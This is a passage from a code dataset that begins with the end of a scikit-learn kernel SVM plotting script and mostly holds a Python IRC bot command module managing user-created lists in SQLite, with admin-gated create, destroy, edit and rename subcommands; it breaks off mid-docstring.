d'overfitting\nsvm.fit(x_xor, y_xor)\n\nplt.suptitle('Kernel')\nplot_decision_regions(x_xor, y_xor, classifier=svm)\nplt.legend(loc='upper left')\nplt.show()\n", "repo_name": "louishenrifranc/MachineLearning", "sub_path": "Classifiers/KernelSVM.py", "file_name": "KernelSVM.py", "file_ext": "py", "file_size_in_byte": 2493, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.colors.ListedColormap", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.logical_xor", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "sklearn.svm.SVC", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}]} {"seq_id": "37872676204", "text": "import datetime, os, random, sqlite3, time, unicodedata\n\nfrom commands.CommandTemplate import CommandTemplate\nfrom IrcMessage import IrcMessage\nimport GlobalStore\nfrom CustomExceptions import CommandInputException, WebRequestException\nfrom util import IrcFormattingUtil, WebUtil\nimport PermissionLevel\n\n\nclass Command(CommandTemplate):\n\ttriggers = ['list', 'listf']\n\thelptext = \"Create and add to lists. Format: {commandPrefix}list[f] [subcommand] (listname) (parameters). \" \\\n\t\t\t \"'{commandPrefix}listf' adds more info to a returned entry than '{commandPrefix}list'. \" \\\n\t\t\t \"Subcommands: list, create, destroy, add, remove, get, random, getbyid, search, getall, info, rename, edit, setdescription, cleardescription, setadmin. \" \\\n\t\t\t \"Use '{commandPrefix}help list [subcommand]' to get details on how to use that subcommand\"\n\n\tdatabasePath = os.path.join(GlobalStore.scriptfolder, \"data\", \"Lists.db\")\n\n\tdef onLoad(self):\n\t\tGlobalStore.commandhandler.addCommandFunction(__file__, 'getRandomListEntry', self.getRandomListEntry)\n\t\t# The 'edited_by' and 'edited_date' columns were added later, so we can't be sure the current database has those. Make sure they exist\n\t\tif os.path.isfile(self.databasePath):\n\t\t\twith sqlite3.connect(self.databasePath) as connection:\n\t\t\t\tcursor = connection.cursor()\n\t\t\t\tif self.doTablesExist(cursor) and not cursor.execute(\"SELECT COUNT(*) FROM pragma_table_info('list_entries') WHERE name='edited_by'\").fetchone()[0]:\n\t\t\t\t\tself.logInfo(\"[List] Updating old database, adding 'edited_by' and 'edited_date' columns\")\n\t\t\t\t\tcursor.execute(\"ALTER TABLE list_entries ADD COLUMN edited_by TEXT\")\n\t\t\t\t\tcursor.execute(\"ALTER TABLE list_entries ADD COLUMN edited_date REAL\")\n\t\t\t\t\tconnection.commit()\n\n\tdef getHelp(self, message):\n\t\tif message.messagePartsLength <= 1:\n\t\t\t# No subcommand provided, return normal help text\n\t\t\treturn CommandTemplate.getHelp(self, message)\n\t\t# Show help text for the provided subcommand\n\t\tsubcommand = message.messageParts[1].lower()\n\t\tif subcommand == 'list':\n\t\t\thelptext = \"{commandPrefix}list list. Lists all available lists for this server and channel\"\n\t\telif subcommand == 'create':\n\t\t\thelptext = \"{commandPrefix}list create ('admin') ('server'/'channel') [name] (description). 'admin' is optional and indicates only bot admins can add entries. \" \\\n\t\t\t\t\t \"'server' means it's a server-wide list, 'channel' means the list is for this channel only; 'channel' is the default when this subcommand is called in a channel, 'server' when called in a private message. \" \\\n\t\t\t\t\t \"'name' is the name of the list; it can't contain spaces. 'description' is optional and can be a description of the list, which will show up in an 'info' call\"\n\t\telse:\n\t\t\thelptext = \"{commandPrefix}list {subcommand} [name]\"\n\t\t\tif subcommand == 'destroy':\n\t\t\t\thelptext += \". Destroys the list specified by 'name'. This completely removes all data of this list and all entries, which is non-reversible, so triple-check your spelling\"\n\t\t\telif subcommand == 'add':\n\t\t\t\thelptext += \" [text]. Adds 'text' as an entry to the list specified by 'name', if that list exists\"\n\t\t\telif subcommand == 'remove':\n\t\t\t\thelptext += \" [id]. Removes entry number 'id' from the list specified by 'name', if that list and id exist\"\n\t\t\telif subcommand == 'get':\n\t\t\t\thelptext += \" [(id)/(searchquery)]. Get an entry from the list specified by 'name'. If an id is specified, the entry with that id will be returned, if it exists (Same as 'getbyid'). \" \\\n\t\t\t\t\t\t\t\"If a searchquery is provided, it returns entries that contain the provided text (Same as 'searchquery'). If neither is provided, a random entry from the list will be picked (Same as 'random')\"\n\t\t\telif subcommand == 'random':\n\t\t\t\thelptext += \". Get a random entry from the list specified by 'name'\"\n\t\t\telif subcommand == 'getbyid':\n\t\t\t\thelptext += \" [id]. Get the entry specified by 'id' from the list specified by 'name'\"\n\t\t\telif subcommand == 'search':\n\t\t\t\thelptext += \" [search query]. Searches the list specified by 'name' for entries matching 'search query'. '*' and '%' are multi-character wildcards, '?' and '_' are single-character wildcards. \" \\\n\t\t\t\t\t\t\t\"If no wildcards are added, a multi-character wildcard character will be added to the start and end of the provided query\"\n\t\t\telif subcommand == 'getall':\n\t\t\t\thelptext += \" [(search query)]. Shows all entries of the list specified by 'name', or only the entries matching the optional search query if one is provided. Uploads the resuls and links them, so it's not spammy\"\n\t\t\telif subcommand == 'info':\n\t\t\t\thelptext += \". Shows info about the list specified by 'name'\"\n\t\t\telif subcommand == 'rename':\n\t\t\t\thelptext += \" [newListname]. Changes the name of the list specified by 'name' to 'newListname', if that list doesn't exist already\"\n\t\t\telif subcommand == 'edit':\n\t\t\t\thelptext += \" [id] [newEntryText]. Edits the entry specified by 'id' in the list specified by 'name'. The text of that entry will be replaced with the provided 'newEntryText'. The {commandPrefix}listf output for that entry will show that it has been edited\"\n\t\t\telif subcommand == 'setdescription':\n\t\t\t\thelptext += \" [description]. Sets the description for the list specified by 'name'. This description can be seen by doing '{CP}list info [name]'\"\n\t\t\telif subcommand == 'cleardescription':\n\t\t\t\thelptext += \". Clears the description for the list specified by 'name'.\"\n\t\t\telif subcommand == 'setadmin':\n\t\t\t\thelptext += \" [setAdminOnly]. Sets whether only admins can add and remove entries from the list specified by 'name'. Parameter should be \\\"true\\\" or \\\"false\\\"\"\n\t\t\telse:\n\t\t\t\thelptext = \"Unknown list subcommand '{subcommand}'. Maybe you made a typo? Use '{commandPrefix}help list' to see all the available subcommands\"\n\t\t# Some subcommands show more info when the 'listf' command is used instead of 'list'. Add that\n\t\tif subcommand in ('get', 'random', 'getbyid', 'search', 'info'):\n\t\t\thelptext += \". Using '{commandPrefix}listf' instead of '{commandPrefix}list' shows extra info\"\n\t\t# Some commands can only be used by bot admins, add that\n\t\telif subcommand in ('create', 'destroy', 'rename', 'setdescription', 'cleardescription', 'setadmin'):\n\t\t\thelptext += \". This subcommand is admin-only\"\n\t\treturn helptext.format(commandPrefix=message.bot.commandPrefix, subcommand=subcommand)\n\n\n\tdef execute(self, message):\n\t\t\"\"\"\n\t\t:type message: IrcMessage\n\t\t\"\"\"\n\t\tif message.messagePartsLength == 0:\n\t\t\treturn message.reply(self.getHelp(message))\n\n\t\tsubcommand = message.messageParts[0].lower()\n\n\t\tif subcommand == 'help':\n\t\t\treturn message.reply(self.getHelp(message))\n\n\t\tshouldAddEntryInfo = (message.trigger == 'listf')\n\t\twith sqlite3.connect(self.databasePath) as connection:\n\t\t\tcursor = connection.cursor()\n\t\t\tservername = message.bot.serverfolder\n\t\t\tchannelname = message.source\n\t\t\tif subcommand == 'list':\n\t\t\t\tif not self.doTablesExist(cursor):\n\t\t\t\t\treturn message.reply(\"Seems like there's no lists at all. Seems a bit boring, to be honest\")\n\t\t\t\t# List all available lists\n\t\t\t\tresult = cursor.execute(\"SELECT name, channel FROM lists WHERE server=? AND (channel=? OR channel IS NULL)\", (servername, channelname)).fetchall()\n\t\t\t\tif not result:\n\t\t\t\t\treturn message.reply(\"I couldn't find any lists. You should think up a good idea for one!\")\n\t\t\t\tchannelListNames = []\n\t\t\t\tserverListNames = []\n\t\t\t\tfor resultEntry in result:\n\t\t\t\t\tlistname = resultEntry[0]\n\t\t\t\t\tlistsource = resultEntry[1]\n\t\t\t\t\tif listsource:\n\t\t\t\t\t\tchannelListNames.append(listname)\n\t\t\t\t\telse:\n\t\t\t\t\t\tserverListNames.append(listname)\n\t\t\t\treplytext = \"\"\n\t\t\t\tif serverListNames:\n\t\t\t\t\treplytext += \" Server lists: {}\".format(\", \".join(sorted(serverListNames)))\n\t\t\t\tif channelListNames:\n\t\t\t\t\treplytext += \" Channel lists: {}\".format(\", \".join(sorted(channelListNames)))\n\t\t\t\treturn message.reply(replytext.lstrip())\n\n\t\t\telif subcommand == 'create':\n\t\t\t\tif message.messagePartsLength == 1:\n\t\t\t\t\traise CommandInputException(\"You'll need to add at least a name of the list to create, read the 'create' subcommand help for other options\")\n\t\t\t\tcreateParams = message.messageParts[1:]\n\n\t\t\t\tcreateParam = createParams.pop(0).lower()\n\t\t\t\t# Check if the optional 'admin' parameter was provided, making it an admin-only list\n\t\t\t\tisListAdminOnly = False\n\t\t\t\tif createParam == 'admin':\n\t\t\t\t\tisListAdminOnly = True\n\t\t\t\t\tcreateParam = createParams.pop(0).lower()\n\n\t\t\t\t# Check if a server/channel parameter was passed\n\t\t\t\t# If the command was called in a channel, assume a channel-only list. If it was called in a PM, assume a server list\n\t\t\t\tisChannelList = not message.isPrivateMessage\n\t\t\t\tif createParam == 'server' or createParam == 'channel':\n\t\t\t\t\tisChannelList = createParam == 'channel'\n\t\t\t\t\tcreateParam = createParams.pop(0).lower()\n\t\t\t\tif isChannelList and message.isPrivateMessage:\n\t\t\t\t\traise CommandInputException(\"Creating a channel list doesn't work in private messages, either create a server list or create this list in a channel\")\n\t\t\t\tif not message.doesSenderHavePermission(PermissionLevel.CHANNEL if isChannelList else PermissionLevel.SERVER):\n\t\t\t\t\traise CommandInputException(\"Sorry, only {0} admins are allowed to create {0} lists\".format(\"channel\" if isChannelList else \"server\"))\n\n\t\t\t\tlistname = self.normalizeListname(createParam)\n\t\t\t\tlistDescription = ' '.join(createParams) if createParams else None\n\n\t\t\t\t# Check if the database exists\n\t\t\t\tif not self.doTablesExist(cursor):\n\t\t\t\t\tcursor.execute(\"CREATE TABLE lists (\"\n\t\t\t\t\t\t\t\t \"id INTEGER PRIMARY KEY, name TEXT NOT NULL, description TEXT, server TEXT NOT NULL, channel TEXT, creator TEXT, creation_date REAL, is_admin_only INTEGER)\")\n\t\t\t\t\tcursor.execute(\"CREATE TABLE list_entries (\"\n\t\t\t\t\t\t\t\t \"id INTEGER NOT NULL, list_id INTEGER NOT NULL, text TEXT NOT NULL, creator TEXT, creation_date REAL, edited_by TEXT, edited_date REAL,\"\n\t\t\t\t\t\t\t\t \"PRIMARY KEY (id, list_id), FOREIGN KEY(list_id) REFERENCES lists(id))\")\n\t\t\t\t# If the database exists, check whether a list with the provided name already exists for the provided server\n\t\t\t\telse:\n\t\t\t\t\tif self.getBasicListData(cursor, listname, servername, channelname)[0] is not None:\n\t\t\t\t\t\t# A match has been found, so the list already exists, either for this channel or for the server. Abort\n\t\t\t\t\t\traise CommandInputException(\"A list with the name '{}' already exists. That's easier for both of us, you just need to add your ideas to that list then!\".format(listname))\n\n\t\t\t\t# Create the list\n\t\t\t\tcursor.execute(\"INSERT INTO lists (name, description, server, channel, creator, creation_date, is_admin_only) \"\n\t\t\t\t\t\t\t \"VALUES (:listname, :description, :servername, :channelname, :creator, :creation_date, :isadmin)\",\n\t\t\t\t\t\t\t {'listname': listname, 'description': listDescription, 'servername': servername, 'channelname': channelname if isChannelList else None,\n\t\t\t\t\t\t\t\t'creator': message.userNickname, 'creation_date': time.time(), 'isadmin': isListAdminOnly if isListAdminOnly else None})\n\t\t\t\tconnection.commit()\n\t\t\t\treturn message.reply(\"Successfully created the '{}' list. Now add some entries to it with the 'add' subcommand. Enjoy!\".format(listname))\n\n\t\t\t# All subsequent subcommands need a list, so check if a listname was provided, and check if that list exists\n\t\t\tif message.messagePartsLength < 2:\n\t\t\t\traise CommandInputException(\"Please provide a list name, or use the 'list' subcommand to see all the available lists\")\n\t\t\tif not self.doTablesExist(cursor):\n\t\t\t\treturn message.reply(\"Hmm, I don't seem to have any lists stored yet, so I can't execute that subcommand. Sorry!\")\n\t\t\tlistname = self.normalizeListname(message.messageParts[1])\n\t\t\tlistId, isListAdminOnly, isChannelSpecificList = self.getBasicListData(cursor, listname, servername, channelname)\n\t\t\tif not listId:\n\t\t\t\traise CommandInputException(\"I couldn't find a list called '{}'. Maybe you made a typo? See the available lists with the 'list' subcommand\".format(listname))\n\n\t\t\tif subcommand == 'destroy':\n\t\t\t\tif not message.doesSenderHavePermission(PermissionLevel.CHANNEL if isChannelSpecificList else PermissionLevel.SERVER):\n\t\t\t\t\traise CommandInputException(\"Sorry, only my {0} admins are allowed to destroy {0} lists\".format(\"channel\" if isChannelSpecificList else \"server\"))\n\t\t\t\tentryCount = cursor.execute(\"SELECT COUNT(*) FROM list_entries WHERE list_id=?\", (listId,)).fetchone()[0]\n\t\t\t\t# Delete all the list entries\n\t\t\t\tif entryCount > 0:\n\t\t\t\t\tcursor.execute(\"DELETE FROM list_entries WHERE list_id=?\", (listId,))\n\t\t\t\tcursor.execute(\"DELETE FROM lists WHERE id=?\", (listId,))\n\t\t\t\t# Destroying a large list may leave the database fragmented, the sqlite 'vacuum' command solves that (it's kind of like defragging)\n\t\t\t\t# This needs extra diskspace though, because it basically recreates the database file and then replaces the existing file with the new one\n\t\t\t\tcursor.execute(\"VACUUM\")\n\t\t\t\tconnection.commit()\n\t\t\t\treturn message.reply(\"Ok, the '{}' list and its {:,} entr{} are gone forever. I hope none of that was important!\".format(listname, entryCount, 'y' if entryCount == 1 else 'ies'))\n\n\t\t\telif subcommand == 'get':\n\t\t\t\t# 'get' can accept no arguments (works same as 'random'), a numeric entry id argument (works same as 'getbyid'), or a text searchquery argument (works the same as 'search')\n\t\t\t\tif message.messagePartsLength < 3:\n\t\t\t\t\t# No ID or search query provided, pick a random entry\n\t\t\t\t\treplytext = self.getRandomEntry(cursor, listname, listId, shouldAddEntryInfo=shouldAddEntryInfo)\n\t\t\t\telse:\n\t\t\t\t\t# Check if the provided argument is an ID number or a search query\n\t\t\t\t\ttry:\n\t\t\t\t\t\tentryId = int(message.messageParts[2], 10)\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t# Argument isn't a number, use it as a search query\n\t\t\t\t\t\treplytext = self.searchForEntry(cursor, listname, listId, self.normalizeSearchQuery(\" \".join(message.messageParts[2:])), shouldAddEntryInfo)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# Get entry by ID\n\t\t\t\t\t\treplytext = self.formatEntry(self.getEntryById(cursor, listname, listId, entryId), shouldAddEntryInfo)\n\t\t\t\treturn message.reply(replytext)\n\n\t\t\telif subcommand == 'random':\n\t\t\t\treturn message.reply(self.getRandomEntry(cursor, listname, listId, shouldAddEntryInfo=shouldAddEntryInfo))\n\n\t\t\telif subcommand == 'add':\n\t\t\t\tif message.messagePartsLength < 3:\n\t\t\t\t\traise CommandInputException(\"Please provide some text to add to the '{}' list. I''m not good at making stuff up myself\".format(listname))\n\t\t\t\tif isListAdminOnly and not message.doesSenderHavePermission(PermissionLevel.CHANNEL if isChannelSpecificList else PermissionLevel.SERVER):\n\t\t\t\t\traise CommandInputException(\"Sorry, only my {listtype} admins are allowed to add entries to the '{listname}' {listtype} list. Ask one of them to add your idea!\"\n\t\t\t\t\t\t\t\t\t\t\t\t.format(listtype=\"channel\" if isChannelSpecificList else \"server\", listname=listname))\n\t\t\t\tmaxIdResult = cursor.execute(\"SELECT max(id) FROM list_entries WHERE list_id=?\", (listId,)).fetchone()\n\t\t\t\tentryId = maxIdResult[0] + 1 if maxIdResult[0] else 1\n\t\t\t\tentryText = \" \".join(message.messageParts[2:])\n\t\t\t\tcursor.execute(u\"INSERT INTO list_entries VALUES (:id, :listId, :text, :creator, :creationDate, NULL, NULL)\",\n\t\t\t\t\t\t\t {'id': entryId, 'listId': listId, 'text': entryText, 'creator': message.userNickname, 'creationDate': time.time()})\n\t\t\t\tconnection.commit()\n\t\t\t\treturn message.reply(\"Added your entry to the '{}' list under entry id {}\".format(listname, entryId))\n\n\t\t\t# 'getbyid' and 'remove' need to do a lot of the same checks, so combine them\n\t\t\telif subcommand in ('getbyid', 'remove'):\n\t\t\t\tif message.messagePartsLength < 3:\n\t\t\t\t\traise CommandInputException(\"Please provide an entry ID for the '{}' list. I'm not gonna guess one (though if you want that, use the 'get' subcommand without an id)\".format(listname))\n\t\t\t\ttry:\n\t\t\t\t\tentryId = int(message.messageParts[2], 10)\n\t\t\t\texcept ValueError:\n\t\t\t\t\traise CommandInputException(\"The provided entry id '{}' couldn't be parsed as a number. Please check that you entered it correctly\".format(message.messageParts[2]))\n\t\t\t\tentry = self.getEntryById(cursor, listname, listId, entryId)\n\t\t\t\tif subcommand == 'remove':\n\t\t\t\t\tif isListAdminOnly and not message.doesSenderHavePermission(PermissionLevel.CHANNEL if isChannelSpecificList else PermissionLevel.SERVER):\n\t\t\t\t\t\traise CommandInputException(\"Sorry, only my {listtype} admins are allowed to remove entries from the '{listname}' {listtype} list\".format(listtype=\"channel\" if isChannelSpecificList else \"server\", listname=listname))\n\t\t\t\t\tcursor.execute(\"DELETE FROM list_entries WHERE list_id=? AND id=?\", (listId, entryId))\n\t\t\t\t\tconnection.commit()\n\t\t\t\t\treturn message.reply(\"Successfully deleted {} from the '{}' list\".format(self.formatEntry(entry, True), listname))\n\t\t\t\telse:\n\t\t\t\t\t# 'getbyid'\n\t\t\t\t\treturn message.reply(self.formatEntry(entry, shouldAddEntryInfo))\n\n\t\t\telif subcommand == 'search':\n\t\t\t\tif message.messagePartsLength < 3:\n\t\t\t\t\traise CommandInputException(\"Please enter a search query too. Or if you want a random entry, use the 'random' subcommand\")\n\t\t\t\tsearchquery = self.normalizeSearchQuery(\" \".join(message.messageParts[2:]))\n\t\t\t\treturn message.reply(self.searchForEntry(cursor, listname, listId, searchquery, shouldAddEntryInfo))\n\n\t\t\telif subcommand == 'getall':\n\t\t\t\tsearchQuery = None if message.messagePartsLength < 3 else self.normalizeSearchQuery(\" \".join(message.messageParts[2:]))\n\t\t\t\tsqlQuery = \"SELECT * FROM list_entries WHERE list_id=:listId\"\n\t\t\t\tif searchQuery:\n\t\t\t\t\tsqlQuery += \" AND text LIKE :searchQuery\"\n\t\t\t\tentries = cursor.execute(sqlQuery, {'listId': listId, 'searchQuery': searchQuery}).fetchall()\n\t\t\t\t# Don't bother uploading if the list is empty or short\n\t\t\t\tif len(entries) == 0:\n\t\t\t\t\treturn message.reply(\"The '{}' list doesn't have any entries at all, so listing those is easy: . Done!\".format(listname))\n\t\t\t\telif len(entries) == 1:\n\t\t\t\t\treturn message.reply(\"The '{}' list only has one entry: {}\".format(listname, self.formatEntry(entries[0], shouldAddEntryInfo)))\n\t\t\t\t# Destructively iterate over the found entries so long lists don't use a lot of memory\n\t\t\t\tformattedEntries = []\n\t\t\t\twhile entries:\n\t\t\t\t\tentry = entries.pop(0)\n\t\t\t\t\tformattedEntries.append(self.formatEntry(entry, True))\n\t\t\t\ttry:\n\t\t\t\t\tpasteLink = WebUtil.uploadText(\"\\n\".join(formattedEntries), \"Entries for the '{}' list\".format(listname), 600)\n\t\t\t\texcept WebRequestException as wre:\n\t\t\t\t\tself.logError(\"[List] An error occurred while trying to upload '{}' list entries (Search query is '{}': {}\".format(listname, searchQuery, wre))\n\t\t\t\t\treturn message.reply(\"Uh oh, something went wrong with uploading the '{}' list entries. Try again in a bit, and if it keeps happening, please tell my owner(s)\".format(listname))\n\t\t\t\treturn message.reply(\"Here's all the entries for the '{}' list{}: {} (Link expires in 10 minutes)\".format(listname, \" that match your query\" if searchQuery else \"\", pasteLink))\n\n\t\t\telif subcommand == 'info':\n\t\t\t\tlistResult = cursor.execute(\"SELECT * FROM lists WHERE id=?\", (listId,)).fetchone()\n\t\t\t\tentryCount = cursor.execute(\"SELECT COUNT(*) FROM list_entries WHERE list_id=?\", (listId,)).fetchone()[0]\n\t\t\t\treplytext = \"{} list '{}' \".format('Channel' if listResult[4] else 'Server', listname)\n\t\t\t\tif shouldAddEntryInfo:\n\t\t\t\t\treplytext += \"was created on {} by {} and \".format(self.formatTimestamp(listResult[6]), listResult[5])\n\t\t\t\treplytext += \"has {:,} entr{}\".format(entryCount, 'y' if entryCount == 1 else 'ies')\n\t\t\t\tif listResult[7]:\n\t\t\t\t\treplytext += \". Only my admin(s) can add and remove entries from this list\"\n\t\t\t\tdescription = listResult[2]\n\t\t\t\tif description:\n\t\t\t\t\treplytext += \". Description: {}\".format(description)\n\t\t\t\telse:\n\t\t\t\t\treplytext += \". No list description has been set\"\n\t\t\t\treturn message.reply(replytext)\n\n\t\t\telif subcommand == 'rename':\n\t\t\t\tif not message.doesSenderHavePermission(PermissionLevel.CHANNEL if isChannelSpecificList else PermissionLevel.SERVER):\n\t\t\t\t\traise CommandInputException(\"Sorry, only my admins can rename {} lists\".format(\"channel\" if isChannelSpecificList else \"server\"))\n\t\t\t\tif message.messagePartsLength < 3:\n\t\t\t\t\traise CommandInputException(\"Please add a new list name too, because I'm not good at thinking up names\")\n\t\t\t\tnewListname = self.normalizeListname(message.messageParts[2])\n\t\t\t\tif listname == newListname:\n\t\t\t\t\traise CommandInputException(\"But... those two names are the same, the list is already called that. I don't think that qualifies as 'renaming' then\")\n\t\t\t\tif self.getBasicListData(cursor, newListname, servername, channelname)[0] is not None:\n\t\t\t\t\traise CommandInputException(\"The list '{}' already exists, so I can't rename the '{}' list to that\".format(newListname, listname))\n\t\t\t\tcursor.execute(\"UPDATE lists SET name=? WHERE id=?\", (newListname, listId))\n\t\t\t\tconnection.commit()\n\t\t\t\treturn message.reply(\"Successfully renamed the '{}' list to '{}'. Don't forget to tell people about the rename though, they might think it got deleted\".format(listname, newListname))\n\n\t\t\telif subcommand == 'edit':\n\t\t\t\tif isListAdminOnly and not message.doesSenderHavePermission(PermissionLevel.CHANNEL if isChannelSpecificList else PermissionLevel.SERVER):\n\t\t\t\t\traise CommandInputException(\"Sorry, only my {0} admins can edit entries in this {0} list\".format(\"channel\" if isChannelSpecificList else \"server\"))\n\t\t\t\tif message.messagePartsLength < 3:\n\t\t\t\t\traise CommandInputException(\"Please add the id of the entry to edit and the new text for that entry. Nobody wants me to replace a random entry with gibberish\")\n\t\t\t\tif message.messagePartsLength < 4:\n\t\t\t\t\traise CommandInputException(\"Please add the new text for the provided entry, because neither of us want me to change it to something random\")\n\t\t\t\ttry:\n\t\t\t\t\tentryId = int(message.messageParts[2], 10)\n\t\t\t\texcept ValueError:\n\t\t\t\t\traise CommandInputException(\"I can't parse '{}' as a number, and it should be an entry ID\".format(message.messageParts[1]))\n\t\t\t\toldEntry = self.getEntryById(cursor, listname, listId, entryId)\n\t\t\t\tnewEntryText = \" \".join(message.messageParts[3:])\n\t\t\t\tcursor.execute(\"UPDATE list_entries SET text = ?, edited_by = ?, edited_date = ? WHERE list_id=? AND id=?\", (newEntryText, message.userNickname, time.time(), listId, entryId))\n\t\t\t\tconnection.commit()\n\t\t\t\treturn message.reply(\"Successfully updated entry {} in list {} from '{}' to '{}'\".format(entryId, listname, self.formatEntry(oldEntry, False), newEntryText))\n\n\t\t\telif subcommand == 'setdescription' or subcommand == 'cleardescription':\n\t\t\t\tif not message.doesSenderHavePermission(PermissionLevel.CHANNEL if isChannelSpecificList else PermissionLevel.SERVER):\n\t\t\t\t\traise CommandInputException(\"Sorry, only my {0} admins are allowed to change a {0} list's description\".format(\"channel\" if isChannelSpecificList else \"server\"))\n\t\t\t\tdescription = None\n\t\t\t\tif subcommand == 'setdescription':\n\t\t\t\t\tif message.messagePartsLength < 3:\n\t\t\t\t\t\traise CommandInputException(\"Please add a description to set. If you just want to remove the existing description, use the 'cleardescription' subcommand\")\n\t\t\t\t\tdescription = \" \".join(message.messageParts[2:])\n\t\t\t\tcursor.execute(\"UPDATE lists SET description=? WHERE id=?\", (description, listId))\n\t\t\t\tconnection.commit()\n\t\t\t\treturn message.reply(\"Successfully {} the description for the '{}' list\".format('cleared' if subcommand == 'cleardescription' else 'updated', listname))\n\n\t\t\telif subcommand == 'setadmin':\n\t\t\t\tif not message.doesSenderHavePermission(PermissionLevel.CHANNEL if isChannelSpecificList else PermissionLevel.SERVER):\n\t\t\t\t\traise CommandInputException(\"Sorry, only my {0} admins can toggle the admin-only state of {0} lists. Makes sense too, otherwise the feature would be pretty useless!\".format(\"channel\" if isChannelSpecificList else \"server\"))\n\t\t\t\tif message.messagePartsLength < 3:\n\t\t\t\t\traise CommandInputException(\"Please add whether you want to make the provided list admin-only or not\")\n\t\t\t\tshouldBeAdminOnly = message.messageParts[2].lower()\n\t\t\t\tif shouldBeAdminOnly not in ('true', 'false'):\n\t\t\t\t\traise CommandInputException(\"I don't know how to interpret the setting value '{}', sorry. Please use either 'true' or 'false'\".format(message.messageParts[2]))\n\t\t\t\tshouldBeAdminOnly = shouldBeAdminOnly == 'true'\n\t\t\t\tif shouldBeAdminOnly is isListAdminOnly:\n\t\t\t\t\treturn message.reply(\"The '{}' list is already set to {}admin-only. Saves me updating this database!\".format(listname, '' if isListAdminOnly else 'non-'))\n\t\t\t\tcursor.execute(\"UPDATE lists SET is_admin_only=? WHERE id=?\", (shouldBeAdminOnly, listId))\n\t\t\t\tconnection.commit()\n\t\t\t\treturn message.reply(\"Successfully made the '{}' list {}admin-only\".format(listname, '' if shouldBeAdminOnly else 'non-'))\n\n\t\t\telse:\n\t\t\t\treturn message.reply(\"I don't know what to do with the subcommand '{}', sorry. Maybe (re)read the list help text?\".format(subcommand))\n\n\tdef doTablesExist(self, cursor):\n\t\t\"\"\"\n\t\tCheck if the tables with list data exist\n\t\t:param cursor: The cursor to use to query the database\n\t\t:return: True if the required list tables exist, False otherwise\n\t\t\"\"\"\n\t\tcursor.execute(\"SELECT name FROM sqlite_master\tWHERE type = 'table' AND name='lists'\")\n\t\treturn True if cursor.fetchone() else False\n\n\tdef getBasicListData(self, cursor, listname, servername, channelname=None):\n\t\t\"\"\"\n\t\tGet basic info for the provided list for the provided server and channel, or for the server if there's no channel-specific list\n\t\t:param cursor: The cursor to use for the data retrieval\n\t\t:param listname: The name of the list to retrieve the info for\n\t\t:param servername: The servername to retrieve the list for\n\t\t:param channelname: The (optional) channelname to retrieve the list for. If there's a channel-specific list named 'listname', that will get retrieved, otherwise a serverwide list will\n\t\t:return: A tuple with the first entry the list id or None if no list for the parameters could be found, the second entry says whether the list is admin-only, and the third entry whether it's a channel-specific list (values can be either None, True, or False)\n\t\t\"\"\"\n\t\t# First check if there's a channel list, so we don't accidentally return the serverlist if there's one with the same name\n\t\tresult = None\n\t\tisChannelSpecificList = None\n\t\tif channelname:\n\t\t\tcursor.execute(\"SELECT id, is_admin_only FROM lists WHERE name=? AND server=? AND channel=?\", (listname, servername, channelname))\n\t\t\tresult = cursor.fetchone()\n\t\t\tif result:\n\t\t\t\tisChannelSpecificList = True\n\t\t# If no channellist was found, or no channelname was provided, try to find a serverlist\n\t\tif result is None:\n\t\t\t# Check if there's a server list\n\t\t\tresult = cursor.execute(\"SELECT id, is_admin_only FROM lists WHERE name=? AND server=? AND channel IS NULL\", (listname, servername)).fetchone()\n\t\t\tif result is None:\n\t\t\t\treturn None, None, None\n\t\t\tisChannelSpecificList = False\n\t\t# SQLite doesn't support booleans, so 'true' is 1 and 'false' is 0. Turn it into a boolean so it's easier and more 